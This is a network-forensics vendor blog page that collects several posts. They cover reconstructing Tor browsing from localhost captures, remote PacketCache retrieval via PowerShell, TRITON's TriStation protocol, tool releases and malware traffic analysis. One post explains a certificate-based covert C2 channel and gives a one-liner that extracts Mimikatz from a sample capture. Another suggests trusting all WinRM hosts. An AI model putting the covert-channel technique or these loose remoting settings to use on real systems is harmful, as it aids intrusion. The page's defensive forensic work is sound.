NETRESEC Network Security Blog - Tag : PCAP

TorPCAP - Tor Network Forensics


Unencrypted network traffic, destined for the Tor network, is sent between localhost TCP sockets on computers running Tor clients, such as the Tor Browser. In this blog post I show how anonymous Tor browsing can be visualized, by loading a PCAP file with localhost traffic into NetworkMiner. We call this technique TorPCAP.

Tor is a secure platform that enables users to browse the web anonymously. The Tor Project website describes the tool as:

“Tor is free software and an open network that helps you defend against traffic analysis”

It is also possible to host anonymous “onion services” on the Dark Web using Tor:

“Tor makes it possible for users to hide their locations while offering various kinds of services, such as web publishing or an instant messaging server. Using Tor "rendezvous points," other Tor users can connect to these onion services, formerly known as hidden services, each without knowing the other's network identity.”

Capturing Tor Traffic Before it gets Encrypted

Tor installations include a SOCKS proxy listening on TCP port 9150 on localhost ( This local SOCKS proxy is used by the Tor Browser, which connects to the proxy in order to have its traffic encrypted and forwarded to the Tor network. This means that by sniffing traffic on localhost it’s actually possible to create a solid forensic trail of all traffic a PC sends to and from the Tor network.

Tor Browser and SOCKS

You can use tcpdump to capture the localhost traffic on PCs running the Tails OS or Tor Browser in MacOS or Linux. If you’re running the Tor Browser in Windows, then we recommend using RawCap to sniff the localhost traffic (RawCap is a portable standalone tool that doesn’t need WinPcap or NDIS drivers to work).

In order to make sense of the captured traffic you need a tool that can parse the SOCKS protocol (RFC 1928). NetworkMiner includes a SOCKS parser since version 2.1, which can be used to extract and reassemble data going to and from the Tor network.

   Image Credit: Ken Edge    Eldon by @kenedgeiscool

Demo: Analysing TorPCAP Network Traffic

A user, let’s call him “Eldon”, used Tor for some dark-web activity on November 30, 2018. Eldon was using the Tor Browser on a Windows PC and RawCap was used to capture the localhost network traffic from Eldon’s computer. A PCAP file with the captured packets from Eldon’s PC can be accessed here. Please feel free to open this capture file with NetworkMiner, in order to follow along in this analysis.

File   : rawcap-localhost-tor.pcap
Size   : 1.47 MB
SHA256 : 9134FA542B388498C2A58A2E1424FCD4AF466CE7117DBE9AAFD0A031CC8209B8

The “Files” tab in NetworkMiner contains a list of all files that have been reassembled from the analyzed PCAP file. This file listing reveals that Eldon used the “not Evil” search engine (hss3uro2hsxfogfq[.]onion) to search for “buy fake passports” in frame 1136.

NetworkMiner's Files tab with not Evil search

The search result page from not Evil has been reassemled by NetworkMiner as “index.php.CB66877E.html”. By opening this HTML document in a browser we can see which search results Eldon got (no Internet connection is needed to open the reassembled html).

not Evil search in Tor

The “Browsers” tab in NetworkMiner Professional shows that Eldon followed the link for entry #2 in his search results (BUY FAKE PASSPORTS [...]), leading him to the “fakeimz[...].onion” website.

HTML document in Edge reassembled by NetworkMiner

Eldon then proceeded to list the available passports (see the reassembled file “novelty_fake_id_samples.shtml” in frame 1837) and chose the UK passport (“pp-uk-open-big.jpg”).

novelty_fake_id_samples.shtml NetworkMiner Professional Images tab with pp-uk-open-big.jpg

As Eldon proceeded he got a price list for the fake passports offered at this site (“novelty_fake_id_pricing.shtml”), but we don’t see any evidence of him actually completing a purchase of a fake UK passport.

HTML file reassembled by NetworkMiner opened in Edge browser

If we go back to the Images tab in NetworkMiner, and scroll a bit further down we see a picture of a gun. Let’s see where it comes from.

NetworkMiner Images tab with gun pic

It turns out Eldon also searched for “buy guns for bitcoin UK”. You can list all search engine queries by looking for entries in the “Parameters” tab with parameter name “q”. This technique is applicable for the “not Evil” search engine as well as most clearnet search engines, like Google, Bing, Yahoo! and DuckDuckGo (disregarding the fact that they use TLS).

NetworkMiner Parameters tab with web searches

The Browsers tab shows us that Eldon clicked on a link to the “UK Guns and Ammo Store” (tuu66[...].onion).

not Evil search in NetworkMiner Professional Browsers tab

This website has also been passively reassembled by NetworkMiner and can be opened offline in a browser (see “index[2].html”).

UK Guns and Ammo Store (dark web)

The Credentials tab in NetworkMiner shows the username and password used by Eldon to log into the website:

Credentials tab in NetworkMiner Professional 2.3.1 showing username and password sent over Tor to an onion service

After logging in, Eldon puts two items in his shopping cart (see “cart.php[1].html”), but gets a message saying “Not enough balance for this order” when clicking the “Continue to Checkout” link. It seems Eldon’s account at the dark-web weapons store doesn’t have any Bitcoins (see “wallet.php.html”)

UK Guns and Ammo Store - Shopping Cart (dark web) UK Guns and Ammo Store - Bitcoin Wallet (dark web)

Side Note - Web Trackers and Tor

It is considered bad practice to use clear-net tracking services, like Google Analytics, to track users visiting an onion service. However, we noticed that the fake passports website uses a Google Analytics script with tracking ID “UA-19359933-1”.

Dark Web HTML with Googla Analytics ID UA-19359933-1

Googling this ID led us to this very similar website:


Posted by Leon Kowalski on Wednesday, 12 December 2018 09:33:00 (UTC/GMT)

Tags: #PCAP #NetworkMiner #RawCap #SOCKS

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Remote Packet Dumps from PacketCache

PacketCache logo

This blog post describes how to dump a packet capture (pcap file) on a remote computer, which runs the PacketCache service, and retrieve that pcap file using only PowerShell.

PacketCache is a free Windows service that continously sniffs network traffic on all interfaces (Ethernet, WiFi, 3G, LTE etc) and maintains a cache of the most recent traffic in RAM. This enables incident responders to read PCAP data out of a PC's PacketCache, for example when an IDS or anti-virus alerts on something potentially malicious. Unfortunately, there is no central management tool for PacketCache, which means that the PCAP data has to be dumped locally at the PC that triggered the IDS or AV alert.

There are a few workarounds "hacks" available to solve this problem, but the most elegant solution is to leverage PowerShell Remoting / WinRM in order to trigger a remote PacketCache instance to create a PCAP file and then copy the PCAP file through the same PowerShell session. To make things even simpler we've created a PowerShell script that can be used to download a PCAP file from any machine running PacketCache. Okay, maybe not *any* machine, the script only works on PCs that you have admin credentails for. Nevertheless, here's how you run the script from a PowerShell prompt:

PS C:\> .\ReadRemotePacketCache.ps1 DESKTOP-LT4711 Administrator
[*] Dumping PacketCache at DESKTOP-LT4711
[*] Copying PCAP dump from DESKTOP-LT4711
[*] Remote PacketCache data saved to DESKTOP-LT4711_181112_1337.pcap
PS C:\>

The ReadRemotePacketCache.ps1 script can be downloaded from the PacketCache product page.

Configuring Hosts for PowerShell Remoting

If you have not previously set up your environment for PowerShell remoting, then you will need to follow these steps before invoking the "ReadRemotePacketCache.ps1" script as above.

On the remote PC, start PowerShell as administrator and enable PowerShell remoting with the "Enable-PSRemoting" command as shown here:

PS C:\> Enable-PSRemoting -SkipNetworkProfileCheck -Force
WinRM has been updated to receive requests.
WinRM service type changed successfully.
WinRM service started.

WinRM has been updated for remote management.
WinRM firewall exception enabled.
Configured LocalAccountTokenFilterPolicy to grant administrative rights remotely
to local users.

PS C:\>

Configuring TrustedHosts for Workgroups

You will also need to set up a trust relationship between the local and remote host. If the remote PC is member of an Active Directory domain, then this trust is already in place. However, if you're in a workgroup or the computers are not in the same domain, then you will need to set the TrustedHosts item like this on both the local PC and the remote PC:

PS C:\> Set-Item WSMan:\localhost\Client\TrustedHosts [IP or Hostname of the other PC]
PS C:\> Get-Item WSMan:\localhost\Client\TrustedHosts
PS C:\> Restart-Service WinRM

Note: if you need to dump PacketCache data from several remote hosts, then you can replace the IP/hostname with '*' to trust any PC or supply a comma separated list of individual hostnames or IPs to trust.

If you've configured TrustedHosts correctly, then you should be able to run the "ReadRemotePacketCache.ps1" script as shown previously. However, if the remote PC isn't in TrustedHosts, then you'll most likely get an error message like this:

PS C:\> .\ReadRemotePacketCache.ps1 Administrator
New-PSSession : [] Connecting to remote server failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.

Automating Remote Artifact Collection

With PowerShell remoting in place you're not limited to just dumping packets from a remote PacketCache service, you can also dump the RAM or copy individual files from the remote computer. This comes in handy in order to implement an automated evidence/artifact collection, for example when a high-severity alert is received by your SIEM.

There are frameworks in place that can help with aquisition of memory and files, such as Matthew Green's Invoke-LiveResponse tool, which can dump memory with WinPMEM and leverage PowerForensics to enable remote raw disk access. Some organizations even start sniffing packets at events like this, but this will only capture the traffic from after a potential compromize. This is where PacketCache comes in, since it can allow you to retrieve packets ranging back as far as a couple of days before the alert.

Credential Theft

It is recommended to use unique passwords for each local account with administrator rights. This practice is extra important if you plan to log into a potentially compromized host using administrator credentails, as described in this blog post. You might also want to lock down the local admin accounts even further in order to minimize the consequences of the admin credentials falling into the wrong hands. See Microsoft's articles on "Local Accounts" and "Attractive Accounts for Credential Theft" for more recommendations regarding how to secure local admin accounts.

PacketCache is Free

CC BY-ND PacketCache is free to use, even commercially. It is released under a Creative Commons Attribution-NoDerivatives 4.0 International License, which means that you can copy and redistribute PacketCache in any medium or format for any purpose. You can download PacketCache here:

The PowerShell script presented in this blog post is also shared under the same CC license and can be downloaded from the PacketCache product page.


I'd like to thank Dick Svensson for suggesting the use of PowerShell Remoting to read PacketCache data remotely!

Posted by Erik Hjelmvik on Wednesday, 14 November 2018 08:00:00 (UTC/GMT)

Tags: #Netresec #PCAP #PacketCache #Windows

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Reverse Engineering Proprietary ICS Protocols

Steve Miller at SEC-T

One of the highlights at this year’s SEC-T conference in Stockholm was Steve Miller’s talk titled "Reversing the TriStation Network Protocol". In this talk Steve covered his quest to better understand the TRITON malware, which had been used in a targeted attack of an industrial control system (ICS). Steve didn’t disclose the type or location of the plant, saying “Don’t ask me who it was, ‘cause I can’t say” when the Q&A started. However, an article in the Wall Street Journal points out that it was a petrochemical plant in Saudi Arabia that had been hacked.

Targeting Safety Instrumented System

The TRITON malware (also called TRISIS) was used to target a safety instrumented system (SIS) from Schneider Electric called Triconex. A SIS is typically not used to control the process of a plant, but rather to detect abnormal operating conditions and safely shut down the industrial process if needed.

I could elaborate a lot regarding the consequences of attacking the SIS, but the good guys from Dragos have already done a great job explaining this in their “TRISIS Malware” report.

Reverse Engineering the ICS Protocol

The communication protocol used by the Triconex controllers is called TriStation, which is a proprietary protocol. This means that there were no publicly available specifications available for the protocol at that time. There was also no Wireshark dissector that could parse TriStation traffic. Nevertheless, Steve’s initial reaction to this was “Awesome, undocumented things are my favorite things!”

Steve Miller: Awesome, undocumented things are my favorite things!

Unfortunately Steve wasn’t able to get hold of a single PCAP file with the TriStation network protocol, which made it really difficult to reverse engineer the protocol implementation in the TRITON malware. The only piece of actual TriStation network traffic he was able to get hold of was a hex dump of a TriStation packet in an academic paper.

Exceprt from: Attack Induced Common-Mode Failures on PLC-Based Safety System in a Nuclear Power Plant: Practical Experience Report

Armed with only the hexdump and Wireshark’s text2pcap Steve managed to piece together an actual PCAP file containing a single frame with a TriStation packet inside.

Wireshark with Steve's re-created TriStation PCAP

As you can see in the image above, Wireshark doesn’t decode any of the application layer data coming from TCP port 1502 (which TriStation uses). He therefore implemented a Wireshark Lua dissector for the TriStation protocol. And some time later the people from Nozomi Networks even implemented a proper Wireshark dissector for the TriStation protocol.

BSI’s ICS-SEC team have now also created Snort IDS rules specifically for the TriStation protocol. These IDS rules trigger on events like:

  • Packets sent to the controller from an unauthorized host
  • Malicious commands used by the TRITON malware to read and write to the RAM of the SIS controller as well as to execute code

The Importance of Sniffing ICS Traffic

I’ve been trying to convince asset owners, who use ICS in their power plants, factories, water treatment facilities etc, to start capturing the network traffic and storing it as PCAP files for many years now. However, asset owners sometimes try to argue that there is no point in capturing their traffic since it is using a proprietary protocol. Even Ralph Langner has opposed to the idea of capturing ICS network traffic in a blog post, which I have criticized. So, how difficult is it to write a parser for a proprietary protocol?

I have personally implemented support for over 30 application layer protocols in NetworkMiner, but unlike Steve I’ve always had access to at least one PCAP file and some form of documentation of the protocol. However, I’ve found that many real-world protocol implementations don’t follow specifications properly. In these cases I’ve found that having access to PCAP files with real-world network traffic is more important than having a full protocol specification.

Even complex proprietary protocols like the old proprietary Skype protocol has been reverse engineered, so with access to network traffic of a protocol combined with a binary that uses this protocol I’d say that pretty much any network protocol can be reverse engineered.

Steve’s SEC-T talk also proves that ICS protocols are no different, since they too can be reverse engineered without having a protocol specification or RFC.

Capturing network traffic in ICS networks is never wrong. There might not be parsers available today for all the protocols you’re using. But once a parser or IDS signature becomes available for the protocol you’re using, you can simply use that to analyze previously captured network traffic from your ICS network. Also, in the wake of an incident you might actually end up writing a parser (as in the TRITON case) or a custom IDS rule, in which case having historical network traffic from your plant in invaluable!

For more information on this topic I’d suggest reading my blog post titled “Monitor those Control System Networks!” from 2011, which still is highly relevant.

I’m also happy to announce that two PCAP files containing TriStation network traffic have been linked from our list of publicly accessible PCAP files today (see the “SCADA/ICS Network Captures” section).

And remember: PCAP or it didn’t happen!

Posted by Erik Hjelmvik on Friday, 21 September 2018 14:20:00 (UTC/GMT)

Tags: #ICS #PCAP #SCADA #SEC-T #protocol #Wireshark

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

CapLoader 1.7 Released

We are happy to announce the release of CapLoader 1.7! CapLoader 1.7 logo

Here’s an overview of what’s new in this release:

  • Regular expression searching
  • Lookup of IP addresses using online services
  • Lookup of domain names using online services
  • Improved protocol fingerprinting speed and precision
  • Support for GRE, IGMP and ICMPv6 flows
  • More precise period estimation of “periodic services

Regular Expressions Search

CapLoader’s “Find Keyword” window has been extended with an option to search flows using regular expressions (regex) as an alternative to searching for strings or byte sequences. With help of the powerful regex syntax built into .NET this new search option enables very flexible searching.

Searching for Alfa Ransomware flows in CapLoader using regex
Image: Searching for Alfa Ransomware flows using regex

The Find Keyword window can be opened by clicking Edit > Find Keyword, or by pressing Ctrl+F after having loaded a PCAP file.

You can learn more about regex searching with CapLoader in our short video called "Detecting the Pony Trojan with RegEx using CapLoader".

OSINT Lookups of IP Addresses and Domains

We added support for querying online services for IPs and domain names to the latest release of NetworkMiner, now it’s time to add this very handy feature to CapLoader as well.

Right-clicking a Flow, Service or Host in CapLoader brings up a context menu with links to various online resources that might have more details regarding the clicked IP address or domain name.

CapLoader OSINT lookups

The services available for IP address OSINT lookup include:
APNIC Whois, Censys, Cymon, ExoneraTor, Google Public DNS,, Hurricane Electric, IBM X-Force, Internet Storm Center, mnemonic Passive DNS, PacketTotal, SecurityTrails, Shodan, ThreatCrowd, ThreatMiner, UrlQuery and VirusTotal.

The domain name lookup menu contains a similar set of providers:
Cymon, Google Public DNS, Google Safe Browsing, Hybrid Analysis, IBM X-Force Exchange, mnemonic Passive DNS, MXToolBox, MyWOT, Norton Safe Web, PacketTotal, SecurityTrails, ThreatCrowd, ThreatMiner, URL Void, UrlQuery, VirusTotal, Website Informer, Webutation and Whoisology.

Protocol Identification

The dynamic protocol detection (or Port Independent Protocol Detection, aka “PIPI”) in CapLoader has been improved to support even more protocols than before. We have also fine-tuned the protocol identification algorithm to be both faster and more accurate.

CapLoader 1.7 identifying SSL on non-standard port
Image: Traffic to TCP 8777 identified as SSL (PCAP file from Stratosphere IPS)

Updating to the Latest Release

Users who have previously purchased a license for CapLoader can download a free update to version 1.7 from our customer portal. All others can download a free 30 day trial from the CapLoader product page (no registration required).


We’d like to thank Michael Nilsson for suggesting the IP and domain name lookup feature and Tohar Braun for suggesting RegEx search support. We’d also like to thank Ralf Alvarsson and Jarmo Lahtiranta for reporting bugs that have been resolved in this release.

Posted by Erik Hjelmvik on Tuesday, 03 July 2018 11:37:00 (UTC/GMT)

Tags: #CapLoader #regex #keyword #pcap #OSINT #IP

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

NetworkMiner 2.3 Released!

The free and open source network forensics tool NetworkMiner now comes with improved extraction of files and metadata from several protocols as well as a few GUI updates. But the biggest improvements for version 2.3 are in the commercial tool NetworkMiner Professional, which now supports VoIP call audio extraction and playback as well as OSINT lookups of file hashes, IP addresses, domain names and URLs.

I’m happy to announce that NetworkMiner 2.3 now does an even better job than before at extracting files and metadata from several protocols. Improvements have been made in the parsers for the following protocols: HTTP, IEC-104, IPv4, Modbus, SIP, SMB, SMB2, SMTP and SSL/TLS.

We have also added support for the SNMP protocol in NetworkMiner 2.3, so that SNMP community strings can be extracted and displayed on the Parameters and Credentials tabs.

SNMP Community Strings in NetworkMiner's Credential tab

Another change is that timestamps are now displayed using the UTC time zone instead of using the local time zone. We have also fixed a few GUI quirks in order to further improve the usability of the tool.

NetworkMiner Professional

The commercial version of NetworkMiner, i.e. NetworkMiner Professional, comes with several additional improvements which are presented below.

VoIP Call Playback

NetworkMiner Professional has received a new tab called “VoIP”, which enables audio playback of VoIP calls that are using SIP and RTP with G.711 μ-law or A-law encoding (u-Law is primarily used in North America and Japan while A-law is used in Europe and most other parts of the world).

Video: Audio playback and extraction to WAV from the “SIP_CALL_RTP_G711” PCAP file in the Wireshark Sample Captures.

The audio streams from the VoIP calls are also extracted to disk as .WAV files when codecs G.729 or G.711 (u-Law and A-Law) is used. NetworkMiner Professional also attempts to reassemble RTP streams encoded with G.722 to .au files.

OSINT Lookups of IP Addresses, Domains, URLs and File Hashes

Right-clicking a network host in NetworkMiner Professional’s Hosts tab brings up a context menu with options for performing lookups of IP and domain names using external sources. We refer to this method as open-source intelligence (OSINT) because the accessed data resides at publicly available sources.

OSINT IP lookup in NetworkMiner Professional 2.3

Clicking on an OSINT provider brings up a webpage with more detailed information about the selected IP address, such as IBM X-Force, mnemonic Passive DNS, Shodan, UrlQuery or VT. However, if you’re lazy like me, then you’ll probably click the “All above!” option instead, which will bring up all of the sources in separate tabs in your browser.

The full list of OSINT providers available for IP lookups includes APNIC Whois, BFK Passive DNS, Censys, Cymon, DNSTrails, ExoneraTor, Google Public DNS,, Hurricane Electric, IBM X-Force, Internet Storm Center, mnemonic Passive DNS, PacketTotal, Shodan, ThreatCrowd, ThreatMiner, UrlQuery and VirusTotal.

The domain name lookup menu contains a similar set of providers: BFK Passive DNS, Cymon, DNSTrails, Google Public DNS, Google Safe Browsing, Hybrid Analysis, IBM X-Force Exchange, mnemonic Passive DNS, MXToolBox, MyWOT, Norton Safe Web, PacketTotal, ThreatCrowd, ThreatMiner, URL Void, UrlQuery, VirusTotal, Website Informer, Webutation and Whoisology.

OSINT URL lookup in NetworkMiner Professional 2.3

Right-clicking a URL in the Browsers tab brings up a similar context menu, which additionally includes the following services for URL lookups: Google Safe Browsing, IBM X-Force, ThreatMiner, URLhaus and UrlQuery.

OSINT file hash lookup in NetworkMiner Professional 2.3

Finally, right-clicking on one of the files that NetworkMiner has extracted from a PCAP file brings up a menu for doing OSINT lookups based on the MD5 or SHA256 hash of the file. The sources used for lookups of hashes include IBM X-Force, PacketTotal, ThreatCrowd, TotalHash, UrlQuery,, Comodo Valkyrie, AlienVault OTX, Hybrid Analysis, ThreatMiner and VirusTotal.

Hybrid Analysis API Integration

Did you know that the malware analysis service Hybrid Analysis provides free API keys to people in the IT security community?

@HybridAnalysis: We are excited to announce that full API keys for file submissions are now available to everyone of the IT security community

This is a great move by the Hybrid Analysis team, and we’re happy to announce that we have leveraged their API in NetworkMiner Professional in order to submit files for analysis directly from within the NetworkMiner GUI. The API integration also enables you to query for an IP on Hybrid Analysis to see which previously submitted samples has communicated with that particular IP address.

Here are the steps required to enable the Hybrid Analysis API integration:


I would like to thank Chris Sistrunk, Mats Karlsson and Michael Nilsson for suggesting several of the protocol and GUI improvements that have been incorporated into this new release. I’d also like to thank Doug Green and Ahmad Nawawi for discovering and reporting bugs in the IP and SSL parser respectively.

Upgrading to Version 2.3

Users who have purchased a license for NetworkMiner Professional 2.x can download a free update to version 2.3 from our customer portal.

Those who instead prefer to use the free and open source version can grab the latest version of NetworkMiner from the official NetworkMiner page.


Posted by Erik Hjelmvik on Tuesday, 03 April 2018 06:27:00 (UTC/GMT)

Tags: #NetworkMiner #PCAP #OSINT #SMTP #SIP #RTP #VoIP #Network Forensics #extract #Netresec

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Examining Malware Redirects with NetworkMiner Professional

This network forensics video tutorial covers analysis of a malware redirect chain, where a PC is infected through the RIG Exploit Kit. A PCAP file, from Brad Duncan's website, is opened in NetworkMiner Professional in order to follow a redirect chain via a couple of hacked websites before delivering malware to the PC.

Meadgive on VirusTotal
CVE-2014-0569 Flash Exploit on VirusTotal
CVE-2012-0507 Java Exploit on VirusTotal
NetworkMiner Professional


Check out our series of network forensic video tutorials for more tips and tricks on how to analyze captured network traffic.

Posted by Erik Hjelmvik on Monday, 26 February 2018 11:19:00 (UTC/GMT)

Tags: #Netresec #Professional #NetworkMiner #malware_traffic #malware #NSM #PCAP #videotutorial #video #tutorial

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Analyzing Kelihos SPAM in CapLoader and NetworkMiner

This network forensics video tutorial covers how to analyze SPAM email traffic from the Kelihos botnet. The analyzed PCAP file comes from the Stratosphere IPS project, where Sebastian Garcia and his colleagues execute malware samples in sandboxes. The particular malware sample execution we are looking at this time is from the CTU-Malware-Capture-Botnet-149-2 dataset.


6c55 5545 0310 4840

Check out our series of network forensic video tutorials for more tips and tricks on how to analyze captured network traffic.

Posted by Erik Hjelmvik on Monday, 19 February 2018 06:37:00 (UTC/GMT)

Tags: #Netresec #PCAP #CapLoader #NetworkMiner #videotutorial #video #tutorial #NetFlow #extract

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Antivirus Scanning of a PCAP File

This second video in our series of network forensic video tutorials covers a quick and crude way to scan a PCAP file for malware. It's all done locally without having to run the PCAP through an IDS. Kudos to Lenny Hanson for showing me this little trick!

Antivirus Scanning of a PCAP File



Posted by Erik Hjelmvik on Monday, 12 February 2018 08:00:00 (UTC/GMT)

Tags: #Netresec #PCAP #video #tutorial #videotutorial #NetworkMiner #malware #malware_traffic

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Examining an x509 Covert Channel

Jason Reaves gave a talk titled “Malware C2 over x509 certificate exchange” at BSides Springfield 2017, where he demonstrated that the SSL handshake can be abused by malware as a covert command-and-control (C2) channel.

Jason Reaves presenting at BSides Springfield 2017

He got the idea while analyzing the Vawtrak malware after discovering that it read multiple fields in the X.509 certificate provided by the server before proceeding. Jason initially thought these fields were used as a C2 channel, but then realized that Vawtrak performed a variant of certificate pinning in order to discover SSL man-in-the-middle attempts.

Nevertheless, Jason decided to actually implement a proof-of-concept (PoC) that uses the X.509 certificate as a C2 channel. Jason’s code is now available on GitHub along with a PCAP file demonstrating this covert C2 channel. Of course I couldn’t resist having a little look at this PCAP file in NetworkMiner.

The first thing I noticed was that the proof-of-concept PCAP ran the SSL session on TCP 4433, which prevented NetworkMiner from parsing the traffic as SSL. However, I was able to parse the SSL traffic with NetworkMiner Professional just fine thanks to the port-independent-protocol-identification feature (a.k.a Dynamic Port Detection), which made the Pro-version parse TCP 4433 as SSL/TLS.

X.509 certificates extracted from PCAP with NetworkMiner
Image: X.509 certificates extracted from PCAP with NetworkMiner

A “normal” x509 certificate size is usually around 1kB, so certificates that are 11kB should be considered as anomalies. Also, opening one of these .cer files reveals an extremely large value in the Subject Key Identifier field.

X.509 certificate with MZ header in the Subject Key Identifier field

Not only is this field very large, it also starts with the familiar “4D 5A” MZ header sequence.

NetworkMiner additionally parses details from the certificates that it extracts from PCAP files, so the Subject Key Identifier field is actually accessible from within NetworkMiner, as shown in the screenshot below.

Parameters tab in NetworkMiner showing X.509 certificate details

You can also see that NetworkMiner validates the certificate using the local trusted root certificates. Not surprisingly, this certificates is not trusted (certificate valid = FALSE). It would be most unlikely that anyone would manage to include arbitrary data like this in a signed certificate.

Extracting the MZ Binary from the Covert X.509 Channel

Even though NetworkMiner excels at pulling out files from PCAPs, this is definitively an occasion where manual handling is required. Jason’s PoC implementation actually uses a whopping 79 individual certificates in order to transfer this Mimikatz binary, which is 785 kB.

Here’s a tshark oneliner you can use to extract the Mimikatz binary from Jason's example PCAP file.

tshark -r mimikatz_sent.pcap -Y 'ssl.handshake.certificate_length gt 2000' -T fields -e x509ce.SubjectKeyIdentifier -d tcp.port==4433,ssl | tr -d ':\n' | xxd -r -p > mimikatz.exe

Detecting x509 Anomalies

Even though covert channels using x509 certificates isn’t a “thing” (yet?) it’s still a good idea to think about how this type of covert signaling can be detected. Just looking for large Subject Key Identifier fields is probably too specific, since there are other fields and extensions in X.509 that could also be used to transmit data. A better approach would be to alert on certificates larger than, let’s say, 3kB. Multiple certificates can also be chained together in a single TLS handshake certificate record, so it would also make sense to look for handshake records larger than 8kB (rough estimate).

Bro IDS logo

This type of anomaly-centric intrusion detection is typically best done using the Bro IDS, which provides easy programmatic access to the X.509 certificate and SSL handshake.

There will be false positives when alerting on large certificates in this manner, which is why I recommend to also check if the certificates have been signed by a trusted root or not. A certificate that is signed by a trusted root is very unlikely to contain malicious data.

Posted by Erik Hjelmvik on Tuesday, 06 February 2018 12:13:00 (UTC/GMT)

Tags: #malware #C2 #SSL #TLS #certificate #NetworkMiner #PCAP #X.509 #PIPI #IDS #tshark

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Zyklon Malware Network Forensics Video Tutorial

We are releasing a series of network forensics video tutorials throughout the next few weeks. First up is this analysis of a PCAP file containing network traffic from the "Zyklon H.T.T.P." malware.

Analyzing a Zyklon Trojan with Suricata and NetworkMiner


Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: Gecko/20070302 BonEcho/

Posted by Erik Hjelmvik on Monday, 05 February 2018 07:30:00 (UTC/GMT)

Tags: #Netresec #PCAP #Trojan #video #tutorial #videotutorial #NetworkMiner #SecurityOnion #Suricata #malware #network #forensics #NSM #malware_traffic

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Don't Delete PCAP Files - Trim Them!

We are happy to release TrimPCAP today! TrimPCAP is a free open source tool that reduces the size of capture files in an intelligent way.


The retention period of a packet capture solution is typically limited by either legal requirements or available disk space. In the latter case the oldest capture files are simply removed when the storage starts getting full. This means that if there is a long ongoing session, such as a download of a large ISO file, streamed video or a reverse shell backdoor, then the start of this session will likely be removed.

I know from experience that it’s painful to analyze network traffic where the start of a session is missing. The most important and interesting stuff generally happens in the beginning of each session, such as the HTTP GET request for an ISO file. As an analyst you don’t need to look at all the other packets in that ISO download (unless you believe the ISO contains malware), it’s enough to see that there is a GET request for the file and the server responds with a “200 OK”.

CapLoader Transcript of ISO download Image: CapLoader transcript of an ISO download

If that download had been truncated, so that only the last few packets were remaining, then it would be really difficult to know what was being downloaded. The same is true also for other protocols, including proprietary C2 protocols used by botnets and other types of malware.


TrimPCAP is designed to overcome the issue with truncated sessions by removing data from the end of sessions rather than from the beginning. This also comes with a great bonus when it comes to saving on disk usage, since the majority of the bytes transferred across the Internet are made up of big sessions (a.k.a “Elephant Flows”). Thus, by trimming a PCAP file so that it only contains the first 100kB of each TCP and UDP session it’s possible to significantly reduce required storage for that data.

The following command reduces the PCAP dataset used in our Network Forensics Training from 2.25 GB to just 223 MB:

user@so$ python 102400 /nsm/sensor_data/so-eth1/dailylogs/*/*
Trimming capture files to max 102400 bytes per flow.
Dataset reduced by 90.30% = 2181478771 bytes

A maximum session size (or "flow cutoff") of 100kB enables to reduce the required storage for that dataset to about 10% of its original size, which will significantly extend the maximum retention period.

Putting TrimPCAP Into Practice

Let’s assume that your organization currently has a maximum full content PCAP retention period of 10 days and that trimming sessions to 100kB reduces the required storage to 10%. TrimPCAP will then enable you to store 5 days with full session data plus 50 additional days with trimmed sessions using the same disk space as before!

TrimPCAP retention period extension

A slightly more advanced scheme would be to have multiple trim limits, such as trimming to 1MB after 3 days, 100kB after 6 days and 10kB after 30 days. Such a setup would probably extend your total retention period from 10 days to over 100 days.

An even more advanced trimming scheme is implemented in our packet capture agent PacketCache. PacketCache constantly trims its PCAP dataset because it is designed to use only 1 percent of a PC’s RAM to store observed packets, in case they are needed later on for incident response. PacketCache uses a trim limit which declines individually for each observed TCP and UDP session depending on when they were last observed.

Downloading TrimPCAP

TrimPCAP is open source software and is released under the GNU General Public License version 2 (GPLv2). You can download your own copy of TrimPCAP from the official TrimPCAP page:

Happy trimming!

✂- - - - - - - - -

Posted by Erik Hjelmvik on Tuesday, 05 December 2017 12:40:00 (UTC/GMT)

Tags: #PCAP #python #flow

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

CapLoader 1.6 Released

CapLoader 1.6

CapLoader is designed to simplify complex tasks, such as digging through gigabytes of PCAP data looking for traffic that sticks out or shouldn’t be there. Improved usability has therefore been the primary goal, when developing CapLoader 1.6, in order to help our users do their work even more efficiently than before.

Some of the new features in CapLoader 1.6 are:

  • Context aware selection and filter suggestions when right-clicking a flow, session or host.
  • Support for IPv6 addresses in the BPF syntax for Input Filter as well as Display Filter.
  • Flows that are inactive for more than 60 minutes are considered closed. This timeout is configurable in Tools > Settings.

Latency Measurements

CapLoader 1.6 also introduces a new column in the Flows tab labeled “Initial_RTT”, which shows the Round Trip Time (RTT) measured during the start of a session. The RTT is defined as “the time it takes for a signal to be sent plus the time it takes for an acknowledgment of that signal to be received”. RTT is often called “ping time” because the ping utility computes the RTT by sending ICMP echo requests and measuring the delay until a reply is received.

Initial RTT in CapLoader Flows Tab
Image: CapLoader 1.6 showing ICMP and TCP round trip times.

But using a PCAP file to measure the RTT between two hosts isn’t as straight forward as one might think. One complicating factor is that the PCAP might be generated by the client, server or by any device in between. If we know that the sniffing point is at the client then things are simple, because we can then use the delta-time between an ICMP echo request and the returning ICMP echo response as RTT. In lack of ping traffic the same thing can be achieved with TCP by measuring the time between a SYN and the returning SYN+ACK packet. However, consider the situation when the sniffer is located somewhere between the client and server. The previously mentioned method would then ignore the latency between the client and sniffer, the delta-time will therefore only show the RTT between the sniffer and the server.

This problem is best solved by calculating the Initial RTT (iRTT) as the delta-time between the SYN packet and the final ACK packet in a TCP three-way handshake, as shown here:

Initial Round Trip Time in PCAP Explained
Image: Initial RTT is the total time of the black/bold packet traversal paths.

